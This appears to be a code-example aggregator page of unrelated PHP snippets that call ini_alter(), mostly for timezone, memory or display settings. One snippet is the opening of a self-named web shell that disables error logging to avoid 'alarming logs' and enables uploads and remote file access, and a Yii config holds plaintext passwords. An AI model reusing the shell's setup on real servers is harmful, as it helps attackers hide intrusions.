<!DOCTYPE html> <?php $this->renderPartial('//Config/SetLanguage'); ?> <?php ini_set("memory_limit", "15000M"); //$version = "2015.08.20"; $version = ""; Yii::app()->session['version'] = $version; Yii::app()->timeZone = 'Asia/Bangkok'; date_default_timezone_set('Asia/Bangkok'); @ini_alter('date.timezone', 'Asia/Bangkok'); // // set language // $this->renderPartial('//Config/SetLanguage'); ?> <html> <head> <meta name="viewport" content="initial-scale=1,maximum-scale=1,user-scalable=no"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="language" content="en" /> <meta charset="utf-8" /> <?php // css echo CHtml::cssFile('css/bootstrap.css'); echo CHtml::cssFile('css/ui-lightness/jquery-ui-1.10.3.custom.css'); // js
--TEST-- ini_alter() check --CREDITS-- Sebastian Schürmann sebs@php.net Testfest 2009 Munich --FILE-- <?php ini_alter('error_reporting', 1); $var = ini_get('error_reporting'); var_dump($var); ini_alter('error_reporting', 0); $var = ini_get('error_reporting'); var_dump($var); ?> --EXPECT-- string(1) "1" string(1) "0"
function abrir_horometro_maquinaria($id_informe) { $DB_local = $this->load->database('default', TRUE); $DB_local->select('horometro_maquinaria_cerrada'); $DB_local->from('informe_turno'); $DB_local->where('id_informe', $id_informe); $DB_local->limit(1); $sql = $DB_local->get(); if ($sql->num_rows() == 1) { foreach ($sql->result() as $informe) { if ($informe->horometro_maquinaria_cerrada == 0) { ini_alter('date.timezone', 'America/Santiago'); $now = strtotime("now"); $time = date("Y-m-d H:i:s", $now); $update_informe = array('horometro_maquinaria_cerrada' => 1, 'fecha_horom_maq' => $time); $DB_local->where('id_informe', $id_informe); $DB_local->update('informe_turno', $update_informe); return 1; } else { return 2; } } } else { return -1; } }
ini_set('display_errors', 'On'); /*** enable ERROR_SHOW_SOURCE_CODE to display the source code for any WARNING OR NOTICE ***/ define('ERROR_SHOW_SOURCE_CODE', true); /*** enable ERROR_LOG_NOTICE_ERROR to log Notices messages in default apache log ***/ // define ( 'ERROR_LOG_NOTICE_ERROR', true ); /* Virtual URLs */ $virtualURITable = array(); $virtualURITable['/js/(*)'] = PATH_GULLIVER_HOME . 'js/'; $virtualURITable['/jsform/(*.js)'] = PATH_DATA . 'xmlform/'; $virtualURITable['/(sys*)'] = FALSE; //$virtualURITable['/jsprocessform/(*.js)'] = 'PROCESSFORMS'; /*To sysUnnamed*/ $virtualURITable['/[a-zA-Z][a-zA-Z0-9]{0,}()'] = 'sysUnnamed'; $virtualURITable['/(*)'] = PATH_HTML; //************** verify if we need to redirect or stream the file ************** if (G::virtualURI($_SERVER["REQUEST_URI"], $virtualURITable, $realPath)) { if ($realPath === 'sysUnnamed') { require_once 'sysUnnamed.php'; die; } else { $realPath = explode('?', $realPath); G::streamFile($realPath[0]); die; } } //************** verify if the URI is encrypted or not ************** G::parseURI(getenv("REQUEST_URI")); //print '-' . SYS_TEMP .'-' . SYS_LANG. '-' . SYS_SKIN.'-' . SYS_COLLECTION.'-' . SYS_TARGET.'<br>'; ini_alter("include_path", "."); ini_set("include_path", PATH_GULLIVER_HOME . 'thirdparty/pear'); require_once "../engine/pre_processor.php";
<?php ini_set('session.hash_function', 1); \ini_get('session.hash_bits_per_charactor'); ini_alter('session.entropy_file', 3); ini_restore('session.entropy_length'); \ini_restore('session.auto_start');
function augmenter_memory_limit() { if( (int)ini_get('memory_limit') < 256 ) { @ini_set('memory_limit','256M'); @ini_alter('memory_limit','256M'); } }
<?php $loop = new WP_Query(array('post_type' => 'resource', 'orderby' => 'post_id', 'order' => 'ASC')); ?> <?php while ($loop->have_posts()) { $loop->the_post(); ?> <div class="resource"> <img src="<?php echo get_field('resource_image')[url]; ?> " alt="<?php echo get_field('resource_image')[ini_alter()]; ?> "> <h3><a href="<?php echo get_field('resource_url'); ?> "><?php the_title(); ?> </a></h3> <?php the_excerpt(); ?>
<?php ini_set('always_populate_raw_post_data', 1); \ini_get('asp_tags'); ini_alter('xsl.security_prefs', 3); ini_restore('xsl.security_prefs'); \ini_get('jsp_tags'); $a->ini_restore('xsl.security_prefs'); A::ini_restore('xsl.security_prefs');
<?php // uncomment the following to define a path alias // Yii::setPathOfAlias('local','path/to/local-folder'); //This line overrides the php.ini file as on some servers, the ini does not seem to take effect ini_alter('date.timezone', 'UTC'); // This is the main Web application configuration. Any writable // CWebApplication properties can be configured here. return array('basePath' => dirname(__FILE__) . DIRECTORY_SEPARATOR . '..', 'theme' => 'classic', 'name' => 'My Sommelier', 'preload' => array('log'), 'import' => array('application.models.*', 'application.components.*', 'ext.YiiMailer.YiiMailer', 'ext.MyFormatter.*'), 'modules' => array('api' => array('class' => 'application.modules.api.ApiModule', 'lastUpdateAttribute' => 'update_dt', 'format' => 'json', 'authModelClass' => 'FrAuthModel', 'myAuthenticatedModelClass' => 'ApiAccess', 'myAuthenticatedModelPasswordField' => 'api_key_secret'), 'gii' => array('class' => 'system.gii.GiiModule', 'password' => 'fodder', 'ipFilters' => array('127.0.0.1', '::1'))), 'components' => array('user' => array('allowAutoLogin' => true), 'curl' => array('class' => 'application.extensions.curl.Curl'), 'urlManager' => array('urlFormat' => 'path', 'rules' => array(array('api/<controller>/<action>', 'pattern' => 'api/<controller:\\w+>/<action:\\w+>/<id:\\d+>'), array('api/<controller>/<action>', 'pattern' => 'api/<controller:\\w+>/<action:\\w+>'), array('api/default/<action>', 'pattern' => 'api/<action:\\w+>'), '<controller:\\w+>/<id:\\d+>' => '<controller>/view', '<controller:\\w+>/<action:\\w+>/<id:\\d+>' => '<controller>/<action>', '<controller:\\w+>/<action:\\w+>' => '<controller>/<action>')), 'db' => array('connectionString' => 'mysql:host=localhost;dbname=sommelier', 'emulatePrepare' => true, 'username' => 'jim', 'password' => 'fodder', 'charset' => 'utf8', 'tablePrefix' => 'tbl_'), 'errorHandler' => array('errorAction' => 'site/error'), 'log' => array('class' => 'CLogRouter', 'routes' => array(array('class' => 'CFileLogRoute', 'levels' => 'error, warning'), array('class' => 'CFileLogRoute', 'levels' => 'info', 'filter' => array('class' => 'CLogFilter', 'logVars' => array(), 'logUser' => FALSE, 'prefixSession' => TRUE, 'prefixUser' => TRUE), 'logFile' => 'application_info.log', 'maxlogFiles' => 10))), 'cache' => array('class' => 'system.caching.CFileCache'), 'mobileDetect' => array('class' => 'ext.MobileDetect.MobileDetect')), 'params' => array('adminEmail' => '*****@*****.**', 'defaultImageFile' => 'label_image_00000.jpg', 'user_roles' => array('GUEST' => 'Guest', 'CELLAR_USER' => 'Cellar User', 'CELLAR_ADMIN' => 'Cellar Admin', 'SITE_ADMIN' => 'Site Admin'), 'user_status' => array('A' => 'Active', 'S' => 'Suspended', 'T' => 'Terminated'), 'bottle_sizes' => array('750ml' => '750ml', '375ml' => '375ml', '500ml' => '500ml', 'Pony' => 'Pony', 'Magnum' => 'Magnum', 'Marie-Jean' => 'Marie-Jean', 'Double Mag' => 'Double Mag', 'Jeroboam' => 'Jeroboam', 'Reboboam' => 'Reboboam', 'Imperial' => 'Imperial', 'Methuselah' => 'Methuselah', 'Salmanazar' => 'Salmanazar', 'Balthazar' => 'Balthazar', 'Nebuchadnezzar' => 'Nebuchadnezzar', 'Soverign' => 'Soverign')));
ini_restore("safe_mode"); ini_restore("open_basedir"); if (function_exists('ini_set')) { ini_set('error_log', NULL); // No alarming logs ini_set('log_errors', 0); // No logging of errors ini_set('file_uploads', 1); // Enable file uploads ini_set('allow_url_fopen', 1); // allow url fopen } else { ini_alter('error_log', NULL); ini_alter('log_errors', 0); ini_alter('file_uploads', 1); ini_alter('allow_url_fopen', 1); } // ---------------------------------------------------------------------------------------------------------------- // \/Next code isn't for editing\/ @set_time_limit(0); $tmp = array(); foreach ($host_allow as $k => $v) { $tmp[] = str_replace("\\*", ".*", preg_quote($v)); } $s = "!^(" . implode("|", $tmp) . ")\$!i"; if (!preg_match($s, getenv("REMOTE_ADDR")) and !preg_match($s, gethostbyaddr(getenv("REMOTE_ADDR")))) { exit("<a href=\"#\">cyb3r sh3ll</a>: Access Denied - your host (" . getenv("REMOTE_ADDR") . ") not allow"); } ?> <html> <head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us">
<?php error_reporting(E_STRICT | E_ALL); ini_alter('display_errors', 'on'); //include 'SplClassLoader.php'; //$classLoader = new SplClassLoader('Validus', dirname(__FILE__) . '/../src'); //$classLoader->register(); require '../vendor/autoload.php'; // Instantiate validator $validation = new \Validus\Validus(); // let's say we have this simple «model» container // which can be object with accessible fields or just // php asssociative array. $user = new stdClass(); $user->name = 'John'; $user->surname = 'Doe'; $user->password = '******'; $user->age = 35; $user->email = '*****@*****.**'; // First of all we want none of our fields to be empty, // so just apply notEmpty (i.e Rules\NotEmpty object) // to the whole container, which is StdObject in our case. $validation->entire($user)->notempty(); // Name and Surname must be from 3 to 32 characters long // Please note, that this will be equivalent to // $validation->on('name')->minlength(3)->maxlength(32); // $validation->on('surname')->sameAs('name'); $validation->on(array('name', 'surname'))->minlength(3)->maxlength(32); // Age must be between 30 and 40 (just for the sake of demonstration) $validation->on('age')->gt(30)->lt(40); // Validate email
<!DOCTYPE html> <?php $this->renderPartial('//Config/SetLanguage'); ?> <?php ini_set("memory_limit", "15000M"); Yii::app()->timeZone = 'Asia/Vientiane'; date_default_timezone_set('Asia/Vientiane'); @ini_alter('date.timezone', 'Asia/Vientiane'); // // set language // $this->renderPartial('//Config/SetLanguage'); $org = Organization::model()->find(); ?> <html> <head> <meta name="viewport" content="initial-scale=1,maximum-scale=1,user-scalable=no"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="language" content="en" /> <meta charset="utf-8" /> <?php // css echo CHtml::cssFile('css/bootstrap.min.css'); echo CHtml::cssFile('css/ui-lightness/jquery-ui-1.10.3.custom.css'); echo CHtml::cssFile('css/styles.css'); // echo CHtml::cssFile('css/bootflat.css'); // js // Yii::app()->clientScript->registerScriptFile('js/jquery-2.0.3.js');
/** * ini_set_memory_limit * Teste s'il est autorisé d'augmenter la mémoire allouée au script. * Voir http://www.php.net/manual/fr/ini.core.php#ini.memory-limit * Cette directive peut être interdite dans la conf PHP ou via Suhosin (http://www.hardened-php.net/suhosin/configuration.html#suhosin.memory_limit) * * @param void * @return string */ private static function ini_set_memory_limit() { $valeur_avant = (int)ini_get('memory_limit'); if($valeur_avant==-1) return '<td class="hc">---</td>'; $valeur_nouvelle = $valeur_avant*2; @ini_set('memory_limit',$valeur_nouvelle.'M'); @ini_alter('memory_limit',$valeur_nouvelle.'M'); $valeur_apres = (int)ini_get('memory_limit'); return ($valeur_apres==$valeur_avant) ? InfoServeur::cellule_coloree_centree('OFF','jaune') : InfoServeur::cellule_coloree_centree('ON','vert') ; }
<![endif]--> </head> <body> <?php include "cabecalho.php"; //Concertar a porra do CSS nessa página ?> <img src="img/logo.png"> <h1>A Mirror Fashion</h1> <p>A <strong>Mirror Fashion</strong> é a maior empresa comércio eletrônico no segmento de moda em todo o mundo. Fundada há <?php ini_alter('date.timezone', 'America/Sao_Paulo'); //da um jeito de deixar esse ini_alter embed no codigo; print date(Y) - 1932; ?> anos em 1932, possui filiais em 124 países, sendo líder de mercado com mais de 90% de participação em 118 deles.</p> <p>Nosso centro de distribuição fica em <a href="https://maps.google.com.br/?q=Jacarezinho"> Jacarezinho, no Paraná</a>. De lá, saem 48 aviões que distribuem nossos produtos às casas do mundo todo. Nosso centro de distribuição:</p> <figure id="centro-distribuicao"> <img src="img/centro-distribuicao.png"> <figcaption>Centro de Distribuição da Mirror Fashion</figcaption> </figure> <p>Compre suas roupas e acessórios na Mirror Fashion. Acesse <a href="index.php">nossa loja</a> ou entre em contato se tiver dúvidas. Conheça também nossa <a href="#historia">história</a> e nossos <a href="#diferenciais">diferenciais</a>.</p> <h2 id="historia">História</h2>
function tiempo_para_cierre_mantencion_tag() { $id_planta = $this->input->post('id_planta'); $id_informe = $this->input->post('id_informe'); $this->load->model('usuario_model'); $fecha_mant_tag = $this->usuario_model->fecha_informe_mantencion_tag_js($id_planta, $id_informe); if ($fecha_mant_tag == FALSE) { return FALSE; } else { if ($fecha_mant_tag->mantencion_equipo_cerrada == 0) { echo -1; } else { ini_alter('date.timezone', 'America/Santiago'); $fecha_mant_tag_para_cierre = strtotime('+' . $fecha_mant_tag->time_set_dias . ' day', strtotime($fecha_mant_tag->fecha_mantencion_equipo)); $now = strtotime("now"); $diferencia = $fecha_mant_tag_para_cierre - $now; $diferencia_fecha = $diferencia / 60 / 60; if ($diferencia_fecha > 1) { $data[0] = "Faltan " . intval($diferencia_fecha) . " Horas aprox. para el cierre."; echo json_encode($data); } elseif ($diferencia_fecha < 1 && $diferencia_fecha > 0) { $diferencia_fecha = $diferencia / 60; $data[0] = "Faltan " . intval($diferencia_fecha) . " min aprox. para el cierre."; echo json_encode($data); } else { echo -1; } } } }